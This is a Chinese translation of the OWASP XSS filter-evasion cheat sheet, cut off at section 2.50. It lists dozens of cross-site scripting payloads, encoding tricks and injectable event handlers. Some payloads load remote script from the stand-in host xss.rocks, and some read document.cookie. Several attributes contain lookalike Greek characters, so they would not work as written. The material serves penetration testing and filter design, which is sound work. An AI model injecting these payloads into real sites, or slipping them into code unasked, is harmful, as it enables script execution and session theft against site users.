XSS绕过,XSS过滤速查,XSS绕过姿势
1.介紹
這篇文章的主要目的是給專業(yè)安全測(cè)試人員提供一份跨站腳本漏洞檢測(cè)指南。文章的初始內(nèi)容是由RSnake提供給 OWASP,內(nèi)容基于他的XSS備忘錄:http://ha.ckers.org/xss.html。目前這個(gè)網(wǎng)頁(yè)已經(jīng)重定向到OWASP網(wǎng)站,將由OWASP維護(hù)和完善它。OWASP 的第一個(gè)防御備忘錄項(xiàng)目:XSS (Cross Site Scripting)Prevention Cheat Sheet 靈感來(lái)源于 RSnake 的 XSS Cheat Sheet,所以我們對(duì)他給予我們的啟發(fā)表示感謝。我們想要去創(chuàng)建短小簡(jiǎn)單的參考給開(kāi)發(fā)者以便幫助他們預(yù)防 XSS漏洞,而不是簡(jiǎn)單的告訴他們需要使用復(fù)雜的方法構(gòu)建應(yīng)用來(lái)預(yù)防各種千奇百怪的攻擊,這也是OWASP 備忘錄系列誕生的原因。
2.測(cè)試
這份備忘錄是為那些已經(jīng)理解XSS攻擊,但是想要了解關(guān)于繞過(guò)過(guò)濾器方法之間細(xì)微差別的人準(zhǔn)備的。
請(qǐng)注意大部分的跨站腳本攻擊向量已經(jīng)在其代碼下方給出的瀏覽器列表中進(jìn)行測(cè)試。
2.1.? XSS定位器
在大多數(shù)存在漏洞且不需要特定XSS攻擊代碼的地方插入下列代碼會(huì)彈出包含“XSS”字樣的對(duì)話框。使用URL編碼器來(lái)對(duì)整個(gè)代碼進(jìn)行編碼。小技巧:如果你時(shí)間很緊想要快速檢查頁(yè)面,通常只要插入“<任意文本>”標(biāo)簽,然后觀察頁(yè)面輸出是否明顯改變了就可以判斷是否存在漏洞:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
2.2.? XSS定位器(短)
如果你沒(méi)有足夠的空間并且知道頁(yè)面上沒(méi)有存在漏洞的JavaScript,這個(gè)字符串是一個(gè)不錯(cuò)的簡(jiǎn)潔XSS注入檢查。注入后查看頁(yè)面源代碼并且尋找是否存在<XSS?或<XSS字樣來(lái)確認(rèn)是否存在漏洞
”;!–”<XSS>=&{()}?
2.3.? 無(wú)過(guò)濾繞過(guò)
這是一個(gè)常規(guī)的XSS注入代碼,雖然通常它會(huì)被防御,但是建議首先去測(cè)試一下。(引號(hào)在任何現(xiàn)代瀏覽器中都不需要,所以這里省略了它):
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>?
2.4.? 利用多語(yǔ)言進(jìn)行過(guò)濾繞過(guò)
‘”>><marquee><img src=x οnerrοr=confirm(1)></marquee>”></plaintext\></|\><plaintext/οnmοuseοver=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>
<script>alert(document.cookie)</script>”>
<img/id=”confirm(1)”/alt=”/”src=”/”οnerrοr=eval(id)>’”>
<img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“>
2.5.? 通過(guò)JavaScript命令實(shí)現(xiàn)的圖片XSS
圖片注入使用JavaScript命令實(shí)現(xiàn)(IE7.0 不支持在圖片上下文中使用JavaScript 命令,但是可以在其他上下文觸發(fā)。下面的例子展示了一種其他標(biāo)簽依舊通用的原理):
<IMG SRC=”javascript:alert(‘XSS’);”>?
2.6.? 無(wú)分號(hào)無(wú)引號(hào)
<IMG SRC=javascript:alert(‘XSS’)>?
2.7.? 不區(qū)分大小寫(xiě)的XSS攻擊向量
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>?
2.8.? HTML實(shí)體
必須有分號(hào)才可生效
<IMG SRC=javascript:alert("XSS")>?
2.9.? 重音符混淆
如果你的JavaScript代碼中需要同時(shí)使用單引號(hào)和雙引號(hào),那么可以使用重音符(`)來(lái)包含JavaScript 代碼。這通常會(huì)有很大幫助,因?yàn)榇蟛糠挚缯灸_本過(guò)濾器都沒(méi)有過(guò)濾這個(gè)字符:
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>?
2.10.??? 畸形的A標(biāo)簽
跳過(guò)HREF標(biāo)簽找到XSS的重點(diǎn)。。。由DavidCross提交~已在Chrome上驗(yàn)證
<a οnmοuseοver=”alert(document.cookie)”>xxs link</a>?
此外Chrome經(jīng)常幫你補(bǔ)全確實(shí)的引號(hào)。。。如果在這方面遇到問(wèn)題就直接省略引號(hào),Chrome會(huì)幫你補(bǔ)全在URL或腳本中缺少的引號(hào)。
<a οnmοuseοver=alert(document.cookie)>xxs link</a>?
2.11.??? 畸形的IMG標(biāo)簽
最初由Begeek發(fā)現(xiàn)(短小精湛適用于所有瀏覽器),這個(gè)XSS攻擊向量使用了不嚴(yán)格的渲染引擎來(lái)構(gòu)造含有IMG標(biāo)簽并被引號(hào)包含的XSS攻擊向量。我猜測(cè)這種解析原來(lái)是為了兼容不規(guī)范的編碼。這會(huì)讓它更加難以正確的解析HTML標(biāo)簽:
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>?
2.12.??? fromCharCode函數(shù)
如果不允許任何形式的引號(hào),你可以通過(guò)執(zhí)行JavaScript里的fromCharCode函數(shù)來(lái)創(chuàng)建任何你需要的XSS攻擊向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>?
2.13.??? 使用默認(rèn)SRC屬性繞過(guò)SRC域名過(guò)濾器
這種方法可以繞過(guò)大多數(shù)SRC域名過(guò)濾器。將JavaScript代碼插入事件方法同樣適用于注入使用elements的任何HTML標(biāo)簽,例如Form,Iframe, Input, Embed等等。它同樣允許將事件替換為任何標(biāo)簽中可用的事件類型,例如onblur,onclick。下面會(huì)給出許多不同的可注入事件列表。由David Cross提交,Abdullah Hussam(@Abdulahhusam)編輯。
<IMG SRC=# οnmοuseοver=”alert(‘xxs’)”>?
2.14.??? 使用默認(rèn)為空的SRC屬性
<IMG SRC= οnmοuseοver=”alert(‘xxs’)”>?
2.15.??? 使用不含SRC屬性
<IMG οnmοuseοver=”alert(‘xxs’)”>?
2.16.??? 通過(guò)error事件觸發(fā)alert
<IMG SRC=/ οnerrοr=”alert(String.fromCharCode(88,83,83))”></img>?
2.17.??? 對(duì)IMG標(biāo)簽中onerror屬性進(jìn)行編碼
<img src=x οnerrοr=”javascript:alert('XSS')″>?
2.18.??? 十進(jìn)制HTML字符實(shí)體編碼
所有在IMG標(biāo)簽里直接使用javascript:形式的XSS示例無(wú)法在Firefox或Netscape8.1以上瀏覽器(使用Gecko渲染引擎)運(yùn)行。
<IMG SRC=javascript:alert(
'XSS')>
2.19.??? 不帶分號(hào)的十進(jìn)制HTML字符實(shí)體編碼
這對(duì)于繞過(guò)對(duì)“&#XX;”形式的XSS過(guò)濾非常有用,因?yàn)榇蠖鄶?shù)人不知道最長(zhǎng)可使用7位數(shù)字。這同樣對(duì)例如$tmp_string =~s/.*\&#(\d+);.*/$1/;形式的過(guò)濾器有效,這種過(guò)濾器是錯(cuò)誤的認(rèn)為HTML字符實(shí)體編碼需要用分號(hào)結(jié)尾(無(wú)意中發(fā)現(xiàn)的):
<IMG SRC=javascript:a&
#0000108ert('XSS')>
2.20.??? 不帶分號(hào)的十六進(jìn)制HTML字符實(shí)體編碼
這是有效繞過(guò)例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;過(guò)濾器的方法。這種過(guò)濾器錯(cuò)誤的認(rèn)為#號(hào)后會(huì)跟著數(shù)字(十六進(jìn)制HTML字符實(shí)體編碼并非如此)
<IMG SRC=javascript:alert('XSS')>?
2.21.??? 內(nèi)嵌TAB
使用TAB來(lái)分開(kāi)XSS攻擊代碼:
<IMG SRC=”jav ascript:alert(‘XSS’);”>?
2.22.??? 內(nèi)嵌編碼后TAB
使用編碼后的TAB來(lái)分開(kāi)XSS攻擊代碼:
<IMG SRC=”jav	ascript:alert(‘XSS’);”>?
2.23.??? 內(nèi)嵌換行分隔XSS攻擊代碼
一些網(wǎng)站聲稱09到13(十進(jìn)制)的HTML實(shí)體字符都可以實(shí)現(xiàn)這種攻擊,這是不正確的。只有09(TAB),10(換行)和13(回車)有效。查看ASCII字符表獲取更多細(xì)節(jié)。下面幾個(gè)XSS示例介紹了這些向量。
<IMG SRC=”jav
ascript:alert(‘XSS’);”>?
2.24.??? 內(nèi)嵌回車分隔XSS攻擊代碼
注意:上面使用了比實(shí)際需要長(zhǎng)的字符串是因?yàn)?可以忽略。經(jīng)常可以遇到過(guò)濾器解碼十六進(jìn)制和十進(jìn)制編碼時(shí)認(rèn)為只有2到3位字符。實(shí)際規(guī)則是1至7位字符:
<IMG SRC=”jav
ascript:alert(‘XSS’);”>?
2.25.??? 使用空字符分隔JavaScript指令
空字符同樣可以作為XSS攻擊向量,但和上面有所區(qū)別,你需要使用一些例如Burp工具或在URL字符串里使用%00,亦或你想使用VIM編寫(xiě)自己的注入工具(^V^@會(huì)生成空字符),還可以通過(guò)程序生成它到一個(gè)文本文件。老版本的Opera瀏覽器(例如Windows版的7.11)還會(huì)受另一個(gè)字符173(軟連字符)的影響。但是空字符%00更加有用并且能幫助繞過(guò)真實(shí)世界里的過(guò)濾器,例如這個(gè)例子里的變形:
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out?
2.26.??? 利用IMG標(biāo)簽中JavaScript指令前的空格和元字符
如果過(guò)濾器不計(jì)算”javascript:”前的空格,這是正確的,因?yàn)樗鼈儾粫?huì)被解析,但這點(diǎn)非常有用。因?yàn)檫@會(huì)造成錯(cuò)誤的假設(shè),就是引號(hào)和”javascript:”字樣間不能有任何字符。實(shí)際情況是你可以插入任何十進(jìn)制的1至32號(hào)字符:
<IMG SRC=” ? javascript:alert(‘XSS’);”>?
2.27.??? 利用非字母非數(shù)字字符
FireFox的HTML解析器認(rèn)為HTML關(guān)鍵詞后不能有非字母非數(shù)字字符,并且認(rèn)為這是一個(gè)空白或在HTML標(biāo)簽后的無(wú)效符號(hào)。但問(wèn)題是有的XSS過(guò)濾器認(rèn)為它們要查找的標(biāo)記會(huì)被空白字符分隔。例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:
<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>?
基于上面的原理,可以使用模糊測(cè)試進(jìn)行擴(kuò)展。Gecko渲染引擎允許任何字符包括字母,數(shù)字或特殊字符(例如引號(hào),尖括號(hào)等)存在于事件名稱和等號(hào)之間,這會(huì)使得更加容易繞過(guò)跨站腳本過(guò)濾。注意這同樣適用于下面看到的重音符:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>?
Yair Amit讓我注意到了IE和Gecko渲染引擎有一點(diǎn)不同行為,在于是否在HTML標(biāo)簽和參數(shù)之間允許一個(gè)不含空格的斜杠。這會(huì)非常有用如果系統(tǒng)不允許空格的時(shí)候。
<SCRIPT/SRC=”http://xss.rocks/xss.js“></SCRIPT>?
2.28.??? 額外的尖括號(hào)
由Franz Sedlmaier提交,這個(gè)XSS攻擊向量可以繞過(guò)某些檢測(cè)引擎,比如先查找第一個(gè)匹配的尖括號(hào),然后比較里面的標(biāo)簽內(nèi)容,而不是使用更有效的算法,例如Boyer-Moore算法就是查找整個(gè)字符串中的尖括號(hào)和相應(yīng)標(biāo)簽(當(dāng)然是通過(guò)模糊匹配)。雙斜杠注釋了額外的尖括號(hào)來(lái)防止出現(xiàn)JavaScript錯(cuò)誤:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>?
2.29.??? 未閉合的script標(biāo)簽
在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必須構(gòu)造類似“></SCRIPT>”的跨站腳本攻擊向量。Firefox假定閉合HTML標(biāo)簽是安全的并且會(huì)為你添加閉合標(biāo)記。多么體貼!不像不影響Firefox的下一個(gè)問(wèn)題,這不需要在后面有額外的HTML標(biāo)簽。如果需要可以添加引號(hào),但通常是沒(méi)有必要的,需要注意的是,我并不知道這樣注入后HTML會(huì)什么樣子結(jié)束:
<SCRIPT SRC=http://xss.rocks/xss.js?< B >?
2.30.??? script標(biāo)簽中的協(xié)議解析
這個(gè)特定的變體是由?ukasz Pilorz提交的并且基于Ozh提供的協(xié)議解析繞過(guò)。這個(gè)跨站腳本示例在IE和Netscape的IE渲染模式下有效,如果添加了</SCRIPT>標(biāo)記在Opera中也可以。這在輸入空間有限的情況下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT標(biāo)簽中不需要考慮編碼類型因?yàn)闉g覽器會(huì)自動(dòng)識(shí)別。
<SCRIPT SRC=//xss.rocks/.j>?
2.31.??? 只含左尖括號(hào)的HTML/JavaScript XSS向量
IE渲染引擎不像Firefox,不會(huì)向頁(yè)面中添加額外數(shù)據(jù)。但它允許在IMG標(biāo)簽中直接使用javascript。這對(duì)構(gòu)造攻擊向量是很有用的,因?yàn)椴恍枰]合尖括號(hào)。這使得有任何HTML標(biāo)簽都可以進(jìn)行跨站腳本攻擊向量注入。甚至可以不使用”>”閉合標(biāo)簽。注意:這會(huì)讓HTML頁(yè)面變得混亂,具體程度取決于下面的HTML標(biāo)簽。這可以繞過(guò)以下NIDS正則:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/因?yàn)椴恍枰?gt;”閉合。另外在實(shí)際對(duì)抗XSS過(guò)濾器的時(shí)候,使用一個(gè)半開(kāi)放的<IFRAME標(biāo)簽替代<IMG標(biāo)簽也是非常有效的。
<IMG SRC=”javascript:alert(‘XSS’)”?
?
2.32.??? 多個(gè)左尖括號(hào)
?
?
使用一個(gè)左尖括號(hào)替代右尖括號(hào)作為標(biāo)簽結(jié)尾的攻擊向量會(huì)在不同瀏覽器的Gecko渲染引擎下有不同表現(xiàn)。沒(méi)有左尖括號(hào)時(shí),在Firefox中生效,而在Netscape中無(wú)效。
<iframe src=http://xss.rocks/scriptlet.html?<?
?
?
2.33.??? JavaScript雙重轉(zhuǎn)義
?
?
當(dāng)應(yīng)用將一些用戶輸入輸出到例如:<SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT>的JavaScript中時(shí),你想注入你的JavaScript腳本,你可以通過(guò)轉(zhuǎn)義轉(zhuǎn)義字符來(lái)規(guī)避服務(wù)器端轉(zhuǎn)義引號(hào)。注入后會(huì)得到<SCRIPT>vara=”\\”;alert(‘XSS’);//”;</SCRIPT>,這時(shí)雙引號(hào)不會(huì)被轉(zhuǎn)義并且可以觸發(fā)跨站腳本攻擊向量。XSS定位器就用了這種方法:
\”;alert(‘XSS’);//?
?
?
另一種情況是,如果內(nèi)嵌數(shù)據(jù)進(jìn)行了正確的JSON或JavaScript轉(zhuǎn)義,但沒(méi)有HTML編碼,那可以結(jié)束原有腳本塊并開(kāi)始你自己的:
</script><script>alert(‘XSS’);</script>?
?
?
2.34.??? 閉合title標(biāo)簽
?
?
這是一個(gè)簡(jiǎn)單的閉合<TITLE>標(biāo)簽的XSS攻擊向量,可以包含惡意的跨站腳本攻擊:
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>?
?
?
2.35.??? INPUT image
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>?
?
?
?
?
2.36.??? BODY image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>?
?
?
?
?
2.37.??? IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>?
?
?
?
?
2.38.??? IMG lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>?
?
?
?
?
2.39.??? List-style-image
?
?
?
處理嵌入的圖片列表是很麻煩的問(wèn)題。由于JavaScript指令的原因只能在IE渲染引擎下有效。不是一個(gè)特別有用的跨站腳本攻擊向量:
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br>?
?
?
2.40.??? 圖片中引用VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’>?
?
?
?
?
2.41.??? Livescript (僅限舊版本Netscape)
<IMG SRC=”livescript:[code]">?
?
?
?
?
2.42.??? SVG對(duì)象標(biāo)簽
<svg/οnlοad=alert('XSS')>?
?
?
?
?
2.43.??? ECMAScript 6
Set.constructor`alert\x28document.domain\x29```?
?
?
?
?
2.44.??? BODY標(biāo)簽
?
?
這個(gè)方法不需要使用任何例如"javascript:"或"<SCRIPT..."語(yǔ)句來(lái)完成XSS攻擊。Dan Crowley特別提醒你可以在等號(hào)前加入一個(gè)空格("οnlοad=" != "onload ="):
<BODY ONLOAD=alert('XSS')>?
?
?
2.45.??? 事件處理程序
?
?
在XSS攻擊中可使用以下事件(在完稿的時(shí)候這是網(wǎng)上最全的列表了)。感謝ReneLedosquet的更新。
?
?
1.????FSCommand() (攻擊者當(dāng)需要在嵌入的Flash對(duì)象中執(zhí)行時(shí)可以使用此事件)
?
2.????onAbort() (當(dāng)用戶中止加載圖片時(shí))
?
3.????onActivate() (當(dāng)對(duì)象激活時(shí))
?
4.????onAfterPrint() (用戶打印或進(jìn)行打印預(yù)覽后觸發(fā))
?
5.????onAfterUpdate() (從數(shù)據(jù)源對(duì)象更新數(shù)據(jù)后由數(shù)據(jù)對(duì)象觸發(fā))
?
6.????onBeforeActivate() (在對(duì)象設(shè)置為激活元素前觸發(fā))
?
7.????onBeforeCopy() (攻擊者在選中部分拷貝到剪貼板前執(zhí)行攻擊代碼-攻擊者可以通過(guò)執(zhí)行execCommand("Copy")函數(shù)觸發(fā))
?
8.????onBeforeCut() (攻擊者在選中部分剪切到剪貼板前執(zhí)行攻擊代碼)
?
9.????onBeforeDeactivate() (在當(dāng)前對(duì)象的激活元素變化前觸發(fā))
?
10.??onBeforeEditFocus() (在一個(gè)包含可編輯元素的對(duì)象進(jìn)入激活狀態(tài)時(shí)或一個(gè)可編輯的對(duì)象被選中時(shí)觸發(fā))
?
11.??onBeforePaste() (在用戶被誘導(dǎo)進(jìn)行粘貼前或使用execCommand("Paste")函數(shù)觸發(fā))
?
12.??onBeforePrint() (用戶需要被誘導(dǎo)進(jìn)行打印或攻擊者可以使用print()或execCommand("Print")函數(shù)).
?
13.??onBeforeUnload() (用戶需要被誘導(dǎo)關(guān)閉瀏覽器-除非從父窗口執(zhí)行,否則攻擊者不能關(guān)閉當(dāng)前窗口)
?
14.??onBeforeUpdate() (從數(shù)據(jù)源對(duì)象更新數(shù)據(jù)前由數(shù)據(jù)對(duì)象觸發(fā))
?
15.??onBegin() (當(dāng)元素周期開(kāi)始時(shí)由onbegin 事件立即觸發(fā))
?
16.??onBlur() (另一個(gè)窗口彈出當(dāng)前窗口失去焦點(diǎn)時(shí)觸發(fā))
?
17.??onBounce() (當(dāng)marquee對(duì)象的behavior屬性設(shè)置為“alternate”且字幕的滾動(dòng)內(nèi)容到達(dá)窗口一邊時(shí)觸發(fā))
?
18.??onCellChange() (當(dāng)數(shù)據(jù)提供者的數(shù)據(jù)變化時(shí)觸發(fā))
?
19.??onChange() (select,text, 或TEXTAREA字段失去焦點(diǎn)并且值發(fā)生變化時(shí)觸發(fā))
?
20.??onClick() (表單中點(diǎn)擊觸發(fā))
?
21.??onContextMenu() (用戶需要在攻擊區(qū)域點(diǎn)擊右鍵)
?
22.??onControlSelect() (當(dāng)用戶在一個(gè)對(duì)象上創(chuàng)建控件選中區(qū)時(shí)觸發(fā))
?
23.??onCopy() (用戶需要復(fù)制一些東西或使用execCommand("Copy")命令時(shí)觸發(fā))
?
24.??onCut() (用戶需要剪切一些東西或使用execCommand("Cut")命令時(shí)觸發(fā))
?
25.??onDataAvailable() (用戶需要修改元素中的數(shù)據(jù),或者由攻擊者提供的類似功能)
?
26.??onDataSetChanged() (當(dāng)數(shù)據(jù)源對(duì)象變更導(dǎo)致數(shù)據(jù)集發(fā)生變更時(shí)觸發(fā))
?
27.??onDataSetComplete() (數(shù)據(jù)源對(duì)象中所有數(shù)據(jù)可用時(shí)觸發(fā))
?
28.??onDblClick() (用戶雙擊一個(gè)表單元素或鏈接)
?
29.??onDeactivate() (在激活元素從當(dāng)前對(duì)象轉(zhuǎn)換到父文檔中的另一個(gè)對(duì)象時(shí)觸發(fā))
?
30.??onDrag() (在元素正在拖動(dòng)時(shí)觸發(fā))
?
31.??onDragEnd() (當(dāng)用戶完成元素的拖動(dòng)時(shí)觸發(fā))
?
32.??onDragLeave() (用戶在拖動(dòng)元素離開(kāi)放置目標(biāo)時(shí)觸發(fā))
?
33.??onDragEnter() (用戶將對(duì)象拖拽到合法拖曳目標(biāo))
?
34.??onDragOver() (用戶將對(duì)象拖拽劃過(guò)合法拖曳目標(biāo))
?
35.??onDragDrop() (用戶將一個(gè)對(duì)象(例如文件)拖拽到瀏覽器窗口)
?
36.??onDragStart() (當(dāng)用戶開(kāi)始拖動(dòng)元素時(shí)觸發(fā))
?
37.??onDrop() (當(dāng)拖動(dòng)元素放置在目標(biāo)區(qū)域時(shí)觸發(fā))
?
38.??onEnded() (在視頻/音頻(audio/video)播放結(jié)束時(shí)觸發(fā))
?
39.??onError() (在加載文檔或圖像時(shí)發(fā)生錯(cuò)誤)
?
40.??onErrorUpdate() (當(dāng)從數(shù)據(jù)源對(duì)象更新相關(guān)數(shù)據(jù)遇到錯(cuò)誤時(shí)在數(shù)據(jù)綁定對(duì)象上觸發(fā))
?
41.??onFilterChange() (當(dāng)濾鏡完成狀態(tài)變更時(shí)觸發(fā))
?
42.??onFinish() (當(dāng)marquee完成滾動(dòng)時(shí)攻擊者可以執(zhí)行攻擊)
?
43.??onFocus() (當(dāng)窗口獲得焦點(diǎn)時(shí)攻擊者可以執(zhí)行攻擊代碼)
?
44.??onFocusIn() (當(dāng)元素將要被設(shè)置為焦點(diǎn)之前觸發(fā))
?
45.??onFocusOut() (攻擊者可以在窗口失去焦點(diǎn)時(shí)觸發(fā)攻擊代碼)
?
46.??onHashChange() (當(dāng)錨部分發(fā)生變化時(shí)觸發(fā)攻擊代碼)
?
47.??onHelp() (攻擊者可以在用戶在當(dāng)前窗體激活時(shí)按下F1觸發(fā)攻擊代碼)
?
48.??onInput() (在 <input> 或 <textarea> 元素的值發(fā)生改變時(shí)觸發(fā))
?
49.??onKeyDown() (用戶按下一個(gè)鍵的時(shí)候觸發(fā))
?
50.??onKeyPress() (在鍵盤(pán)按鍵被按下并釋放一個(gè)鍵時(shí)觸發(fā))
?
51.??onKeyUp() (用戶釋放一個(gè)鍵時(shí)觸發(fā))
?
52.??onLayoutComplete() (用戶進(jìn)行完打印或打印預(yù)覽時(shí)觸發(fā))
?
53.??onLoad() (攻擊者在窗口加載后觸發(fā)攻擊代碼)
?
54.??onLoseCapture() (可以由releaseCapture()方法觸發(fā))
?
55.??onMediaComplete() (當(dāng)一個(gè)流媒體文件使用時(shí),這個(gè)事件可以在文件播放前觸發(fā))
?
56.??onMediaError() (當(dāng)用戶在瀏覽器中打開(kāi)一個(gè)包含媒體文件的頁(yè)面,出現(xiàn)問(wèn)題時(shí)觸發(fā)事件)
?
57.??onMessage() (當(dāng)頁(yè)面收到一個(gè)信息時(shí)觸發(fā)事件)
?
58.??onMouseDown() (攻擊者需要讓用戶點(diǎn)擊一個(gè)圖片觸發(fā)事件)
?
59.??onMouseEnter() (光標(biāo)移動(dòng)到一個(gè)對(duì)象或區(qū)域時(shí)觸發(fā))
?
60.??onMouseLeave() (攻擊者需要讓用戶光標(biāo)移動(dòng)到一個(gè)圖像或表格然后移開(kāi)來(lái)觸發(fā)事件)
?
61.??onMouseMove() (攻擊者需要讓用戶將光標(biāo)移到一個(gè)圖片或表格)
?
62.??onMouseOut() (攻擊者需要讓用戶光標(biāo)移動(dòng)到一個(gè)圖像或表格然后移開(kāi)來(lái)觸發(fā)事件)
?
63.??onMouseOver() (光標(biāo)移動(dòng)到一個(gè)對(duì)象或區(qū)域)
?
64.??onMouseUp() (攻擊者需要讓用戶點(diǎn)擊一個(gè)圖片)
?
65.??onMouseWheel() (攻擊者需要讓用戶使用他們的鼠標(biāo)滾輪)
?
66.??onMove() (用戶或攻擊者移動(dòng)頁(yè)面時(shí)觸發(fā))
?
67.??onMoveEnd() (用戶或攻擊者移動(dòng)頁(yè)面結(jié)束時(shí)觸發(fā))
?
68.??onMoveStart() (用戶或攻擊者開(kāi)始移動(dòng)頁(yè)面時(shí)觸發(fā))
?
69.??onOffline() (當(dāng)瀏覽器從在線模式切換到離線模式時(shí)觸發(fā))
?
70.??onOnline() (當(dāng)瀏覽器從離線模式切換到在線模式時(shí)觸發(fā))
?
71.??onOutOfSync() (當(dāng)元素與當(dāng)前時(shí)間線失去同步時(shí)觸發(fā))
?
72.??onPaste() (用戶進(jìn)行粘貼時(shí)或攻擊者可以使用execCommand("Paste")函數(shù)時(shí)觸發(fā))
?
73.??onPause() (在視頻或音頻暫停時(shí)觸發(fā))
?
74.??onPopState() (在窗口的瀏覽歷史(history 對(duì)象)發(fā)生改變時(shí)觸發(fā))
?
75.??onProgress() (攻擊者可以在一個(gè)FLASH加載時(shí)觸發(fā)事件)
?
76.??onPropertyChange() (用戶或攻擊者需要改變?cè)貙傩詴r(shí)觸發(fā))
?
77.??onReadyStateChange() (每次 readyState 屬性變化時(shí)被自動(dòng)調(diào)用)
?
78.??onRedo() (用戶返回上一頁(yè)面時(shí)觸發(fā))
?
79.??onRepeat() (事件在播放完重復(fù)播放時(shí)觸發(fā))
?
80.??onReset() (用戶或攻擊者重置表單時(shí)觸發(fā))
?
81.??onResize() (用戶改變窗口大小時(shí),攻擊者可以自動(dòng)以這種方法觸發(fā):<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
?
82.??onResizeEnd() (用戶完成改變窗體大小時(shí)觸發(fā))
?
83.??onResizeStart() (用戶開(kāi)始改變窗體大小時(shí)觸發(fā))
?
84.??onResume() (當(dāng)元素繼續(xù)播放時(shí)觸發(fā))
?
85.??onReverse() (當(dāng)元素回放時(shí)觸發(fā))
?
86.??onRowsEnter() (用戶或攻擊者需要改變數(shù)據(jù)源中的一行)
?
87.??onRowExit() (用戶或攻擊者改變數(shù)據(jù)源中的一行后退出時(shí)觸發(fā))
?
88.??onRowDelete() (用戶或攻擊者需要?jiǎng)h除數(shù)據(jù)源中的一行)
?
89.??onRowInserted() (user or attacker would needto insert a row in a data source)
?
90.??onScroll() (用戶需要滾動(dòng)或攻擊者使用scrollBy()函數(shù))
?
91.??onSeek() (當(dāng)用戶在元素上執(zhí)行查找操作時(shí)觸發(fā))
?
92.??onSelect() (用戶需要選擇一些文本-攻擊者可以以此方式觸發(fā): window.document.execCommand("SelectAll");)
?
93.??onSelectionChange() (當(dāng)用戶選擇文本變化時(shí)觸發(fā)-攻擊者可以以此方式觸發(fā): window.document.execCommand("SelectAll");)
?
94.??onSelectStart() (當(dāng)用戶開(kāi)始選擇文本時(shí)觸發(fā)-攻擊者可以以此方式觸發(fā): window.document.execCommand("SelectAll");)
?
95.??onStart() (在marquee 對(duì)象開(kāi)始循環(huán)時(shí)觸發(fā))
?
96.??onStop() (當(dāng)用戶按下停止按鈕或離開(kāi)頁(yè)面時(shí)觸發(fā))
?
97.??onStorage() (當(dāng)Web Storage更新時(shí)觸發(fā))
?
98.??onSyncRestored() (當(dāng)元素與它的時(shí)間線恢復(fù)同步時(shí)觸發(fā))
?
99.??onSubmit() (需要用戶或攻擊者提交表單)
?
100.onTimeError() (用戶或攻擊者設(shè)置時(shí)間屬性出現(xiàn)錯(cuò)誤時(shí)觸發(fā))
?
101.onTrackChange() (用戶或攻擊者改變播放列表內(nèi)歌曲時(shí)觸發(fā))
?
102.onUndo() (用戶返回上一瀏覽記錄頁(yè)面時(shí)觸發(fā))
?
103.onUnload() (用戶點(diǎn)擊任意鏈接或按下后退按鈕或攻擊者強(qiáng)制進(jìn)行點(diǎn)擊時(shí)觸發(fā))
?
104.onURLFlip() (當(dāng)一個(gè)高級(jí)流媒體格式(ASF)文件,由一個(gè)HTML+TIME(基于時(shí)間交互的多媒體擴(kuò)展)媒體標(biāo)簽播放時(shí),可觸發(fā)在ASF文件中內(nèi)嵌的攻擊腳本)
?
105.seekSegmentTime() (這是一個(gè)方法可以定位元素某個(gè)時(shí)間段內(nèi)中的特定的點(diǎn),并可以從該點(diǎn)播放。這個(gè)段落包含了一個(gè)重復(fù)的時(shí)間線,并包括使用AUTOREVERSE屬性進(jìn)行反向播放。)
?
2.46.??? BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">?
?
?
?
?
2.47.??? & JavaScript包含
<BR SIZE="&{alert('XSS')}">?
?
?
?
?
2.48.??? 樣式表
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">?
?
?
?
?
2.49.??? 遠(yuǎn)程樣式表
?
?
?
(利用像遠(yuǎn)程樣式表一樣簡(jiǎn)單的形式,你可以將XSS攻擊代碼包含在可使用內(nèi)置表達(dá)式進(jìn)行重定義的樣式參數(shù)里。)這只在IE和使用IE渲染模式Netscape8.1+。注意這里沒(méi)有任何元素在頁(yè)面中表明這頁(yè)面包含了JavaScript。提示:這些遠(yuǎn)程樣式表都使用了body標(biāo)簽,所以必須在頁(yè)面中有除了攻擊向量以外的內(nèi)容存在時(shí)才會(huì)生效, 也就是如果是空白頁(yè)的話你必須在頁(yè)面添加一個(gè)字母來(lái)讓攻擊代碼生效:
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">?
?
?
2.50.??? 遠(yuǎn)程樣式表2
?
?
